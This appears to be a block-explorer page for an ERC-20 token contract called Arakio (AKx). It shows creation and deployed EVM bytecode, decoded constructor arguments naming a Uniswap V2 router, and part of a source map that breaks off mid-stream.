ffffffffffffffffff1690506000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540361114d57600e54600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b84600460007f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600f5411801561123c57506000600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b80156112555750600760019054906101000a900460ff16155b80156112a057506000600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b1561137c576064600f54856112b59190611eec565b6112bf9190611f75565b915081846112cd9190611cd2565b935081600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461131e9190611cd2565b9250508190555081600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546113749190611e96565b925050819055505b83600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546113cb9190611cd2565b9250508190555083600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546114219190611e96565b925050819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040516114859190611992565b60405180910390a35050505b505050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60006002826115719190611f75565b9050600047905061158282306115a3565b600081476115909190611cd2565b905061159d8382306117e2565b50505050565b6000600267ffffffffffffffff8111156115c0576115bf611fa6565b5b6040519080825280602002602001820160405280156115ee5781602001602082028036833780820191505090505b509050308160008151811061160657611605611fd5565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156116ab573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116cf9190612019565b816001815181106116e3576116e2611fd5565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611748307f0000000000000000000000000000000000000000000000000000000000000000856109d5565b507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008486426040518663ffffffff1660e01b81526004016117ab95949392919061213f565b600060405180830381600087803b1580156117c557600080fd5b505af11580156117d9573d6000803e3d6000fd5b50505050505050565b61180d307f0000000000000000000000000000000000000000000000000000000000000000856109d5565b507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663f305d71983308660008087426040518863ffffffff1660e01b815260040161187396959493929190612199565b60606040518083038185885af1158015611891573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906118b6919061220f565b505050505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156118f85780820151818401526020810190506118dd565b83811115611907576000848401525b50505050565b6000601f19601f8301169050919050565b6000611929826118be565b61193381856118c9565b93506119438185602086016118da565b61194c8161190d565b840191505092915050565b60006020820190508181036000830152611971818461191e565b905092915050565b6000819050919050565b61198c81611979565b82525050565b60006020820190506119a76000830184611983565b92915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006119dd826119b2565b9050919050565b6119ed816119d2565b81146119f857600080fd5b50565b600081359050611a0a816119e4565b92915050565b611a1981611979565b8114611a2457600080fd5b50565b600081359050611a3681611a10565b92915050565b60008060408385031215611a5357611a526119ad565b5b6000611a61858286016119fb565b9250506020611a7285828601611a27565b9150509250929050565b60008115159050919050565b611a9181611a7c565b82525050565b6000602082019050611aac6000830184611a88565b92915050565b600080600060608486031215611acb57611aca6119ad565b5b6000611ad9868287016119fb565b9350506020611aea868287016119fb565b9250506040611afb86828701611a27565b9150509250925092565b600060208284031215611b1b57611b1a6119ad565b5b6000611b2984828501611a27565b91505092915050565b611b3b816119d2565b82525050565b6000602082019050611b566000830184611b32565b92915050565b600060208284031215611b7257611b716119ad565b5b6000611b80848285016119fb565b91505092915050565b60008060408385031215611ba057611b9f6119ad565b5b6000611bae858286016119fb565b9250506020611bbf858286016119fb565b9150509250929050565b6000819050919050565b6000611bee611be9611be4846119b2565b611bc9565b6119b2565b9050919050565b6000611c0082611bd3565b9050919050565b6000611c1282611bf5565b9050919050565b611c2281611c07565b82525050565b6000602082019050611c3d6000830184611c19565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611c8a57607f821691505b602082108103611c9d57611c9c611c43565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611cdd82611979565b9150611ce883611979565b925082821015611cfb57611cfa611ca3565b5b828203905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611d3c6020836118c9565b9150611d4782611d06565b602082019050919050565b60006020820190508181036000830152611d6b81611d2f565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611dce6026836118c9565b9150611dd982611d72565b604082019050919050565b60006020820190508181036000830152611dfd81611dc1565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611e606024836118c9565b9150611e6b82611e04565b604082019050919050565b60006020820190508181036000830152611e8f81611e53565b9050919050565b6000611ea182611979565b9150611eac83611979565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611ee157611ee0611ca3565b5b828201905092915050565b6000611ef782611979565b9150611f0283611979565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611f3b57611f3a611ca3565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000611f8082611979565b9150611f8b83611979565b925082611f9b57611f9a611f46565b5b828204905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050612013816119e4565b92915050565b60006020828403121561202f5761202e6119ad565b5b600061203d84828501612004565b91505092915050565b6000819050919050565b600061206b61206661206184612046565b611bc9565b611979565b9050919050565b61207b81612050565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6120b6816119d2565b82525050565b60006120c883836120ad565b60208301905092915050565b6000602082019050919050565b60006120ec82612081565b6120f6818561208c565b93506121018361209d565b8060005b8381101561213257815161211988826120bc565b9750612124836120d4565b925050600181019050612105565b5085935050505092915050565b600060a0820190506121546000830188611983565b6121616020830187612072565b818103604083015261217381866120e1565b90506121826060830185611b32565b61218f6080830184611983565b9695505050505050565b600060c0820190506121ae6000830189611b32565b6121bb6020830188611983565b6121c86040830187612072565b6121d56060830186612072565b6121e26080830185611b32565b6121ef60a0830184611983565b979650505050505050565b60008151905061220981611a10565b92915050565b600080600060608486031215612228576122276119ad565b5b6000612236868287016121fa565b9350506020612247868287016121fa565b9250506040612258868287016121fa565b915050925092509256fea26469706673582212206ca98b66b57b6653186ccdfe2f8e47d77d5126c3c6a42cb86edeb92da9f56c3164736f6c634300080e0033000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d00000000000000000000000000000000000000000000000000000000000000064172616b696f00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003414b780000000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x60806040526004361061010d5760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb14610368578063b6dc8098146103a5578063dd62ed3e146103d0578063f2fde38b1461040d578063f887ea401461043657610114565b806370a08231146102be578063715018a6146102fb5780638da5cb5b1461031257806395d89b411461033d57610114565b806323b872dd116100dc57806323b872dd146101d7578063313ce56714610214578063333c39a51461023f5780634550d7921461026857806349bd5a5e1461029357610114565b806306fdde0314610119578063085ea54b14610144578063095ea7b31461016f57806318160ddd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610461565b60405161013b9190611957565b60405180910390f35b34801561015057600080fd5b506101596104f3565b6040516101669190611992565b60405180910390f35b34801561017b57600080fd5b5061019660048036038101906101919190611a3c565b6104f9565b6040516101a39190611a97565b60405180910390f35b3480156101b857600080fd5b506101c161050e565b6040516101ce9190611992565b60405180910390f35b3480156101e357600080fd5b506101fe60048036038101906101f99190611ab2565b610518565b60405161020b9190611a97565b60405180910390f35b34801561022057600080fd5b506102296105c0565b6040516102369190611992565b60405180910390f35b34801561024b57600080fd5b5061026660048036038101906102619190611b05565b6105da565b005b34801561027457600080fd5b5061027d610660565b60405161028a9190611992565b60405180910390f35b34801561029f57600080fd5b506102a8610666565b6040516102b59190611b41565b60405180910390f35b3480156102ca57600080fd5b506102e560048036038101906102e09190611b5c565b61068a565b6040516102f29190611992565b60405180910390f35b34801561030757600080fd5b506103106106d3565b005b34801561031e57600080fd5b5061032761075b565b6040516103349190611b41565b60405180910390f35b34801561034957600080fd5b50610352610784565b60405161035f9190611957565b60405180910390f35b34801561037457600080fd5b5061038f600480360381019061038a9190611a3c565b610816565b60405161039c9190611a97565b60405180910390f35b3480156103b157600080fd5b506103ba61082d565b6040516103c79190611992565b60405180910390f35b3480156103dc57600080fd5b506103f760048036038101906103f29190611b89565b610833565b6040516104049190611992565b60405180910390f35b34801561041957600080fd5b50610434600480360381019061042f9190611b5c565b6108ba565b005b34801561044257600080fd5b5061044b6109b1565b6040516104589190611c28565b60405180910390f35b60606009805461047090611c72565b80601f016020809104026020016040519081016040528092919081815260200182805461049c90611c72565b80156104e95780601f106104be576101008083540402835291602001916104e9565b820191906000526020600020905b8154815290600101906020018083116104cc57829003601f168201915b5050505050905090565b600c5481565b60006105063384846109d5565b905092915050565b6000600d54905090565b6000610525848484610b70565b6105b7843384600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546105b29190611cd2565b6109d5565b90509392505050565b6000600a60009054906101000a900460ff1660ff16905090565b6105e2611496565b73ffffffffffffffffffffffffffffffffffffffff1661060061075b565b73ffffffffffffffffffffffffffffffffffffffff1614610656576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161064d90611d52565b60405180910390fd5b80600b8190555050565b600f5481565b7f000000000000000000000000ad978c77faba9c25dbf0c84fb58a7da1ea80bec781565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6106db611496565b73ffffffffffffffffffffffffffffffffffffffff166106f961075b565b73ffffffffffffffffffffffffffffffffffffffff161461074f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074690611d52565b60405180910390fd5b610759600061149e565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606008805461079390611c72565b80601f01602080910402602001604051908101604052809291908181526020018280546107bf90611c72565b801561080c5780601f106107e15761010080835404028352916020019161080c565b820191906000526020600020905b8154815290600101906020018083116107ef57829003601f168201915b5050505050905090565b6000610823338484610b70565b6001905092915050565b600b5481565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6108c2611496565b73ffffffffffffffffffffffffffffffffffffffff166108e061075b565b73ffffffffffffffffffffffffffffffffffffffff1614610936576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161092d90611d52565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036109a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099c90611de4565b60405180910390fd5b6109ae8161149e565b50565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610a405750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b610a7f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7690611e76565b60405180910390fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610b5d9190611992565b60405180910390a3600190509392505050565b6000610b7b3061068a565b90506000600760009054906101000a900460ff168015610b9c5750600e5482115b8015610bb55750600760019054906101000a900460ff16155b8015610c0d57507f000000000000000000000000ad978c77faba9c25dbf0c84fb58a7da1ea80bec773ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b15610c56576001600760016101000a81548160ff021916908315150217905550610c3682611562565b6000600760016101000a81548160ff02191690831515021790555061103b565b600e54600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118015610ce65750600e54600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15610d555782905080600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d3d9190611e96565b92505081905550610d4e83856115a3565b5050611491565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610df057506000600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b8015610dfd5750600e5483115b8015610e5557507f000000000000000000000000ad978c77faba9c25dbf0c84fb58a7da1ea80bec773ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15610ea55782600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050611491565b600760019054906101000a900460ff16158015610f0157506000600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b8015610f5957507f000000000000000000000000ad978c77faba9c25dbf0c84fb58a7da1ea80bec773ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015610fa457506000600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b1561103a57600e54600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ff69190611cd2565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b6000600460007f000000000000000000000000ad978c77faba9c25dbf0c84fb58a7da1ea80bec773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540361114d57600e54600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b84600460007f000000000000000000000000ad978c77faba9c25dbf0c84fb58a7da1ea80bec773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600f5411801561123c57506000600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b80156112555750600760019054906101000a900460ff16155b80156112a057506000600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b1561137c576064600f54856112b59190611eec565b6112bf9190611f75565b915081846112cd9190611cd2565b935081600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461131e9190611cd2565b9250508190555081600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546113749190611e96565b925050819055505b83600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546113cb9190611cd2565b9250508190555083600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546114219190611e96565b925050819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040516114859190611992565b60405180910390a35050505b505050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60006002826115719190611f75565b9050600047905061158282306115a3565b600081476115909190611cd2565b905061159d8382306117e2565b50505050565b6000600267ffffffffffffffff8111156115c0576115bf611fa6565b5b6040519080825280602002602001820160405280156115ee5781602001602082028036833780820191505090505b509050308160008151811061160657611605611fd5565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156116ab573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116cf9190612019565b816001815181106116e3576116e2611fd5565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611748307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d856109d5565b507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008486426040518663ffffffff1660e01b81526004016117ab95949392919061213f565b600060405180830381600087803b1580156117c557600080fd5b505af11580156117d9573d6000803e3d6000fd5b50505050505050565b61180d307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d856109d5565b507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663f305d71983308660008087426040518863ffffffff1660e01b815260040161187396959493929190612199565b60606040518083038185885af1158015611891573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906118b6919061220f565b505050505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156118f85780820151818401526020810190506118dd565b83811115611907576000848401525b50505050565b6000601f19601f8301169050919050565b6000611929826118be565b61193381856118c9565b93506119438185602086016118da565b61194c8161190d565b840191505092915050565b60006020820190508181036000830152611971818461191e565b905092915050565b6000819050919050565b61198c81611979565b82525050565b60006020820190506119a76000830184611983565b92915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006119dd826119b2565b9050919050565b6119ed816119d2565b81146119f857600080fd5b50565b600081359050611a0a816119e4565b92915050565b611a1981611979565b8114611a2457600080fd5b50565b600081359050611a3681611a10565b92915050565b60008060408385031215611a5357611a526119ad565b5b6000611a61858286016119fb565b9250506020611a7285828601611a27565b9150509250929050565b60008115159050919050565b611a9181611a7c565b82525050565b6000602082019050611aac6000830184611a88565b92915050565b600080600060608486031215611acb57611aca6119ad565b5b6000611ad9868287016119fb565b9350506020611aea868287016119fb565b9250506040611afb86828701611a27565b9150509250925092565b600060208284031215611b1b57611b1a6119ad565b5b6000611b2984828501611a27565b91505092915050565b611b3b816119d2565b82525050565b6000602082019050611b566000830184611b32565b92915050565b600060208284031215611b7257611b716119ad565b5b6000611b80848285016119fb565b91505092915050565b60008060408385031215611ba057611b9f6119ad565b5b6000611bae858286016119fb565b9250506020611bbf858286016119fb565b9150509250929050565b6000819050919050565b6000611bee611be9611be4846119b2565b611bc9565b6119b2565b9050919050565b6000611c0082611bd3565b9050919050565b6000611c1282611bf5565b9050919050565b611c2281611c07565b82525050565b6000602082019050611c3d6000830184611c19565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611c8a57607f821691505b602082108103611c9d57611c9c611c43565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611cdd82611979565b9150611ce883611979565b925082821015611cfb57611cfa611ca3565b5b828203905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611d3c6020836118c9565b9150611d4782611d06565b602082019050919050565b60006020820190508181036000830152611d6b81611d2f565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611dce6026836118c9565b9150611dd982611d72565b604082019050919050565b60006020820190508181036000830152611dfd81611dc1565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611e606024836118c9565b9150611e6b82611e04565b604082019050919050565b60006020820190508181036000830152611e8f81611e53565b9050919050565b6000611ea182611979565b9150611eac83611979565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611ee157611ee0611ca3565b5b828201905092915050565b6000611ef782611979565b9150611f0283611979565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611f3b57611f3a611ca3565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000611f8082611979565b9150611f8b83611979565b925082611f9b57611f9a611f46565b5b828204905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050612013816119e4565b92915050565b60006020828403121561202f5761202e6119ad565b5b600061203d84828501612004565b91505092915050565b6000819050919050565b600061206b61206661206184612046565b611bc9565b611979565b9050919050565b61207b81612050565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6120b6816119d2565b82525050565b60006120c883836120ad565b60208301905092915050565b6000602082019050919050565b60006120ec82612081565b6120f6818561208c565b93506121018361209d565b8060005b8381101561213257815161211988826120bc565b9750612124836120d4565b925050600181019050612105565b5085935050505092915050565b600060a0820190506121546000830188611983565b6121616020830187612072565b818103604083015261217381866120e1565b90506121826060830185611b32565b61218f6080830184611983565b9695505050505050565b600060c0820190506121ae6000830189611b32565b6121bb6020830188611983565b6121c86040830187612072565b6121d56060830186612072565b6121e26080830185611b32565b6121ef60a0830184611983565b979650505050505050565b60008151905061220981611a10565b92915050565b600080600060608486031215612228576122276119ad565b5b6000612236868287016121fa565b9350506020612247868287016121fa565b9250506040612258868287016121fa565b915050925092509256fea26469706673582212206ca98b66b57b6653186ccdfe2f8e47d77d5126c3c6a42cb86edeb92da9f56c3164736f6c634300080e0033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d00000000000000000000000000000000000000000000000000000000000000064172616b696f00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003414b780000000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : Name (string): Arakio
Arg [1] : Symbol (string): AKx
Arg [2] : routerAddress (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D

-----Encoded View---------------
7 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000060
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [2] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Arg [3] : 0000000000000000000000000000000000000000000000000000000000000006
Arg [4] : 4172616b696f0000000000000000000000000000000000000000000000000000
Arg [5] : 0000000000000000000000000000000000000000000000000000000000000003
Arg [6] : 414b780000000000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

10561:6124:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12117:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11150:44;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12483:137;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12300:86;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13511:276;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12392:85;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13404:101;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;11300:29;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11338:38;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13124:108;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3744:94;;;;;;;;;;;;;:::i;:::-;;3535:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12207;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13238:160;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11098:44;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12626:134;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3844:192;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;11383:42;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12117:83;12154:13;12187:5;12180:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12117:83;:::o;11150:44::-;;;;:::o;12483:137::-;12551:4;12575:37;12584:10;12596:7;12605:6;12575:8;:37::i;:::-;12568:44;;12483:137;;;;:::o;12300:86::-;12344:7;12371;;12364:14;;12300:86;:::o;13511:276::-;13636:4;13653:38;13665:6;13673:9;13684:6;13653:11;:38::i;:::-;13709:70;13718:6;13726:10;13772:6;13738:11;:19;13750:6;13738:19;;;;;;;;;;;;;;;:31;13758:10;13738:31;;;;;;;;;;;;;;;;:40;;;;:::i;:::-;13709:8;:70::i;:::-;13702:77;;13511:276;;;;;:::o;12392:85::-;12433:7;12460:9;;;;;;;;;;;12453:16;;;;12392:85;:::o;13404:101::-;3674:12;:10;:12::i;:::-;3663:23;;:7;:5;:7::i;:::-;:23;;;3655:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;13481:9:::1;13471:7;:19;;;;13404:101:::0;:::o;11300:29::-;;;;:::o;11338:38::-;;;:::o;13124:108::-;13181:7;13208;:16;13216:7;13208:16;;;;;;;;;;;;;;;;13201:23;;13124:108;;;:::o;3744:94::-;3674:12;:10;:12::i;:::-;3663:23;;:7;:5;:7::i;:::-;:23;;;3655:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;3809:21:::1;3827:1;3809:9;:21::i;:::-;3744:94::o:0;3535:87::-;3581:7;3608:6;;;;;;;;;;;3601:13;;3535:87;:::o;12207:::-;12246:13;12279:7;12272:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12207:87;:::o;13238:160::-;13309:4;13326:42;13338:10;13350:9;13361:6;13326:11;:42::i;:::-;13386: